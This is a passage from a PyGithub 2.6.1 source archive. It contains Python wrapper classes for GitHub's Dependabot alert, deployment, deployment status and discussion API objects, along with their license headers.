return self._dismissed_reason.value @property def fixed_at(self) -> str | None: return self._fixed_at.value @property def html_url(self) -> str: return self._html_url.value @property def number(self) -> int: return self._number.value @property def security_advisory(self) -> DependabotAlertAdvisory: return self._security_advisory.value @property def security_vulnerability(self) -> DependabotAlertVulnerability: return self._security_vulnerability.value @property def state(self) -> str: return self._state.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "auto_dismissed_at" in attributes: # pragma no branch self._auto_dismissed_at = self._makeDatetimeAttribute(attributes["auto_dismissed_at"]) if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "dependency" in attributes: self._dependency = self._makeClassAttribute( github.DependabotAlertDependency.DependabotAlertDependency, attributes["dependency"] ) if "dismissed_at" in attributes: self._dismissed_at = self._makeDatetimeAttribute(attributes["dismissed_at"]) if "dismissed_by" in attributes: self._dismissed_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["dismissed_by"]) if "dismissed_comment" in attributes: self._dismissed_comment = self._makeStringAttribute(attributes["dismissed_comment"]) if "dismissed_reason" in attributes: self._dismissed_reason = self._makeStringAttribute(attributes["dismissed_reason"]) if "fixed_at" in attributes: self._fixed_at = self._makeStringAttribute(attributes["fixed_at"]) if "html_url" in attributes: self._html_url = self._makeStringAttribute(attributes["html_url"]) if "number" in attributes: self._number = self._makeIntAttribute(attributes["number"]) if "security_advisory" in attributes: self._security_advisory = self._makeClassAttribute( github.DependabotAlertAdvisory.DependabotAlertAdvisory, attributes["security_advisory"] ) if "security_vulnerability" in attributes: self._security_vulnerability = self._makeClassAttribute( github.DependabotAlertVulnerability.DependabotAlertVulnerability, attributes["security_vulnerability"] ) if "state" in attributes: self._state = self._makeStringAttribute(attributes["state"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DependabotAlertAdvisory.py0000644000175100001660000000700714756101563021404 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.DependabotAlertVulnerability from github.AdvisoryBase import AdvisoryBase from github.GithubObject import Attribute, NotSet if TYPE_CHECKING: from github.DependabotAlertVulnerability import DependabotAlertVulnerability class DependabotAlertAdvisory(AdvisoryBase): """ This class represents a package flagged by a Dependabot alert that is vulnerable to a parent SecurityAdvisory. The reference can be found here https://docs.github.com/en/rest/dependabot/alerts The OpenAPI schema can be found at - /components/schemas/dependabot-alert-security-advisory """ def _initAttributes(self) -> None: super()._initAttributes() self._references: Attribute[list[dict]] = NotSet self._vulnerabilities: Attribute[list[DependabotAlertVulnerability]] = NotSet @property def references(self) -> list[dict]: return self._references.value @property def vulnerabilities(self) -> list[DependabotAlertVulnerability]: return self._vulnerabilities.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "references" in attributes: self._references = self._makeListOfDictsAttribute( attributes["references"], ) if "vulnerabilities" in attributes: self._vulnerabilities = self._makeListOfClassesAttribute( github.DependabotAlertVulnerability.DependabotAlertVulnerability, attributes["vulnerabilities"], ) super()._useAttributes(attributes) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DependabotAlertDependency.py0000644000175100001660000000712114756101563021657 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.AdvisoryVulnerabilityPackage import AdvisoryVulnerabilityPackage from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class DependabotAlertDependency(NonCompletableGithubObject): """ This class represents a DependabotAlertDependency. The reference can be found here https://docs.github.com/en/rest/dependabot/alerts The OpenAPI schema can be found at - /components/schemas/dependabot-alert/properties/dependency """ def _initAttributes(self) -> None: self._manifest_path: Attribute[str] = NotSet self._package: Attribute[AdvisoryVulnerabilityPackage] = NotSet self._scope: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "package": self.package, "manifest_path": self.manifest_path, } ) @property def manifest_path(self) -> str: return self._manifest_path.value @property def package(self) -> AdvisoryVulnerabilityPackage: return self._package.value @property def scope(self) -> str: return self._scope.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "manifest_path" in attributes: self._manifest_path = self._makeStringAttribute(attributes["manifest_path"]) if "package" in attributes: self._package = self._makeClassAttribute( AdvisoryVulnerabilityPackage, attributes["package"], ) if "scope" in attributes: self._scope = self._makeStringAttribute(attributes["scope"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DependabotAlertVulnerability.py0000644000175100001660000000762414756101563022442 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.AdvisoryVulnerabilityPackage from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.AdvisoryVulnerabilityPackage import AdvisoryVulnerabilityPackage class DependabotAlertVulnerability(NonCompletableGithubObject): """ A vulnerability represented in a Dependabot alert. The OpenAPI schema can be found at - /components/schemas/dependabot-alert-security-vulnerability """ def _initAttributes(self) -> None: self._first_patched_version: Attribute[dict] = NotSet self._package: Attribute[AdvisoryVulnerabilityPackage] = NotSet self._severity: Attribute[str] = NotSet self._vulnerable_version_range: Attribute[str | None] = NotSet def __repr__(self) -> str: return self.get__repr__({"package": self.package, "severity": self.severity}) @property def first_patched_version(self) -> dict: return self._first_patched_version.value @property def package(self) -> AdvisoryVulnerabilityPackage: return self._package.value @property def severity(self) -> str: return self._severity.value @property def vulnerable_version_range(self) -> str | None: return self._vulnerable_version_range.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "first_patched_version" in attributes: self._first_patched_version = self._makeDictAttribute( attributes["first_patched_version"], ) if "package" in attributes: self._package = self._makeClassAttribute( github.AdvisoryVulnerabilityPackage.AdvisoryVulnerabilityPackage, attributes["package"], ) if "severity" in attributes: self._severity = self._makeStringAttribute(attributes["severity"]) if "vulnerable_version_range" in attributes: self._vulnerable_version_range = self._makeStringAttribute(attributes["vulnerable_version_range"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Deployment.py0000644000175100001660000003252614756101563016752 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Nevins # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.Consts import github.DeploymentStatus import github.GithubApp import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.GithubApp import GithubApp from github.NamedUser import NamedUser class Deployment(CompletableGithubObject): """ This class represents Deployments. The reference can be found here https://docs.github.com/en/rest/reference/repos#deployments The OpenAPI schema can be found at - /components/schemas/deployment - /components/schemas/deployment-simple """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._creator: Attribute[NamedUser] = NotSet self._description: Attribute[str] = NotSet self._environment: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._original_environment: Attribute[str] = NotSet self._payload: Attribute[dict[str, Any]] = NotSet self._performed_via_github_app: Attribute[GithubApp] = NotSet self._production_environment: Attribute[bool] = NotSet self._ref: Attribute[str] = NotSet self._repository_url: Attribute[str] = NotSet self._sha: Attribute[str] = NotSet self._statuses_url: Attribute[str] = NotSet self._task: Attribute[str] = NotSet self._transient_environment: Attribute[bool] = NotSet self._updated_at: Attribute[datetime | None] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def creator(self) -> NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def environment(self) -> str: self._completeIfNotSet(self._environment) return self._environment.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def original_environment(self) -> str: self._completeIfNotSet(self._original_environment) return self._original_environment.value @property def payload(self) -> dict[str, Any]: self._completeIfNotSet(self._payload) return self._payload.value @property def performed_via_github_app(self) -> GithubApp: self._completeIfNotSet(self._performed_via_github_app) return self._performed_via_github_app.value @property def production_environment(self) -> bool: self._completeIfNotSet(self._production_environment) return self._production_environment.value @property def ref(self) -> str: self._completeIfNotSet(self._ref) return self._ref.value @property def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value @property def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property def statuses_url(self) -> str: self._completeIfNotSet(self._statuses_url) return self._statuses_url.value @property def task(self) -> str: self._completeIfNotSet(self._task) return self._task.value @property def transient_environment(self) -> bool: self._completeIfNotSet(self._transient_environment) return self._transient_environment.value @property def updated_at(self) -> datetime | None: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def get_statuses(self) -> PaginatedList[github.DeploymentStatus.DeploymentStatus]: """ :calls: `GET /repos/{owner}/deployments/{deployment_id}/statuses `_ """ return PaginatedList( github.DeploymentStatus.DeploymentStatus, self._requester, f"{self.url}/statuses", None, headers={"Accept": self._get_accept_header()}, ) def get_status(self, id_: int) -> github.DeploymentStatus.DeploymentStatus: """ :calls: `GET /repos/{owner}/deployments/{deployment_id}/statuses/{status_id} `_ """ assert isinstance(id_, int), id_ headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/statuses/{id_}", headers={"Accept": self._get_accept_header()}, ) return github.DeploymentStatus.DeploymentStatus(self._requester, headers, data, completed=True) def create_status( self, state: str, target_url: Opt[str] = NotSet, description: Opt[str] = NotSet, environment: Opt[str] = NotSet, environment_url: Opt[str] = NotSet, auto_inactive: Opt[bool] = NotSet, ) -> github.DeploymentStatus.DeploymentStatus: """ :calls: `POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses `_ """ assert isinstance(state, str), state assert target_url is NotSet or isinstance(target_url, str), target_url assert description is NotSet or isinstance(description, str), description assert environment is NotSet or isinstance(environment, str), environment assert environment_url is NotSet or isinstance(environment_url, str), environment_url assert auto_inactive is NotSet or isinstance(auto_inactive, bool), auto_inactive post_parameters = NotSet.remove_unset_items( { "state": state, "target_url": target_url, "description": description, "environment": environment, "environment_url": environment_url, "auto_inactive": auto_inactive, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/statuses", input=post_parameters, headers={"Accept": self._get_accept_header()}, ) return github.DeploymentStatus.DeploymentStatus(self._requester, headers, data, completed=True) @staticmethod def _get_accept_header() -> str: return ", ".join( [ github.Consts.deploymentEnhancementsPreview, github.Consts.deploymentStatusEnhancementsPreview, ] ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "environment" in attributes: # pragma no branch self._environment = self._makeStringAttribute(attributes["environment"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "original_environment" in attributes: # pragma no branch self._original_environment = self._makeStringAttribute(attributes["original_environment"]) if "payload" in attributes: # pragma no branch self._payload = self._makeDictAttribute(attributes["payload"]) if "performed_via_github_app" in attributes: # pragma no branch self._performed_via_github_app = self._makeClassAttribute( github.GithubApp.GithubApp, attributes["performed_via_github_app"] ) if "production_environment" in attributes: # pragma no branch self._production_environment = self._makeBoolAttribute(attributes["production_environment"]) if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "repository_url" in attributes: # pragma no branch self._repository_url = self._makeStringAttribute(attributes["repository_url"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "statuses_url" in attributes: # pragma no branch self._statuses_url = self._makeStringAttribute(attributes["statuses_url"]) if "task" in attributes: # pragma no branch self._task = self._makeStringAttribute(attributes["task"]) if "transient_environment" in attributes: # pragma no branch self._transient_environment = self._makeBoolAttribute(attributes["transient_environment"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DeploymentStatus.py0000644000175100001660000002223214756101563020147 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GithubApp import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.GithubApp import GithubApp from github.NamedUser import NamedUser class DeploymentStatus(CompletableGithubObject): """ This class represents Deployment Statuses. The reference can be found here https://docs.github.com/en/rest/reference/repos#deployments The OpenAPI schema can be found at - /components/schemas/deployment-status """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._creator: Attribute[NamedUser] = NotSet self._deployment_url: Attribute[str] = NotSet self._description: Attribute[str] = NotSet self._environment: Attribute[str] = NotSet self._environment_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._log_url: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._performed_via_github_app: Attribute[GithubApp] = NotSet self._repository_url: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._target_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def creator(self) -> NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property def deployment_url(self) -> str: self._completeIfNotSet(self._deployment_url) return self._deployment_url.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def environment(self) -> str: self._completeIfNotSet(self._environment) return self._environment.value @property def environment_url(self) -> str: self._completeIfNotSet(self._environment_url) return self._environment_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def log_url(self) -> str: self._completeIfNotSet(self._log_url) return self._log_url.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def performed_via_github_app(self) -> GithubApp: self._completeIfNotSet(self._performed_via_github_app) return self._performed_via_github_app.value @property def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def target_url(self) -> str: self._completeIfNotSet(self._target_url) return self._target_url.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "deployment_url" in attributes: # pragma no branch self._deployment_url = self._makeStringAttribute(attributes["deployment_url"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "environment" in attributes: # pragma no branch self._environment = self._makeStringAttribute(attributes["environment"]) if "environment_url" in attributes: # pragma no branch self._environment_url = self._makeStringAttribute(attributes["environment_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "log_url" in attributes: # pragma no branch self._log_url = self._makeStringAttribute(attributes["log_url"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "performed_via_github_app" in attributes: # pragma no branch self._performed_via_github_app = self._makeClassAttribute( github.GithubApp.GithubApp, attributes["performed_via_github_app"] ) if "repository_url" in attributes: # pragma no branch self._repository_url = self._makeStringAttribute(attributes["repository_url"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "target_url" in attributes: # pragma no branch self._target_url = self._makeStringAttribute(attributes["target_url"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DiscussionBase.py0000644000175100001660000001520014756101563017536 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet class DiscussionBase(CompletableGithubObject): """ This class represents a the shared attributes between RepositoryDiscussion and TeamDiscussion https://docs.github.com/en/graphql/reference/objects#discussion https://docs.github.com/en/rest/reference/teams#discussions """ def _initAttributes(self) -> None: self._author: Attribute[github.NamedUser.NamedUser | None] = NotSet self._body: Attribute[str] = NotSet self._body_html: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._last_edited_at: Attribute[datetime] = NotSet self._number: Attribute[int] = NotSet self._title: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self._number.value, "title": self._title.value}) @property def author(self) -> github.NamedUser.NamedUser | None: self._completeIfNotSet(self._author) return self._author.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def last_edited_at(self) -> datetime: self._completeIfNotSet(self._last_edited_at) return self._last_edited_at.value @property def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch self._body_html = self._makeStringAttribute(attributes["body_html"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "last_edited_at" in attributes: # pragma no branch self._last_edited_at = self._makeDatetimeAttribute(attributes["last_edited_at"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "title" in attributes: self._title = self._makeStringAttribute(attributes["title"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DiscussionCommentBase.py0000644000175100001660000001526314756101563021072 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet class DiscussionCommentBase(CompletableGithubObject): """ This class represents a the shared attributes between RepositoryDiscussionComment and TeamDiscussionComment https://docs.github.com/en/graphql/reference/objects#discussioncomment https://docs.github.com/de/rest/teams/discussion-comments """ def _initAttributes(self) -> None: self._author: Attribute[github.NamedUser.NamedUser | None] = NotSet self._body: Attribute[str] = NotSet self._body_html: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._html_url: Attribute[str] = NotSet self._last_edited_at: Attribute[datetime] = NotSet self._node_id: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"node_id": self._node_id.value}) @property def author(self) -> github.NamedUser.NamedUser | None: self._completeIfNotSet(self._author) return self._author.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def last_edited_at(self) -> datetime: self._completeIfNotSet(self._last_edited_at) return self._last_edited_at.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch self._body_html = self._makeStringAttribute(attributes["body_html"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "last_edited_at" in attributes: # pragma no branch self._last_edited_at = self._makeDatetimeAttribute(attributes["last_edited_at"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Download.py0000644000175100001660000002572214756101563016401 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve 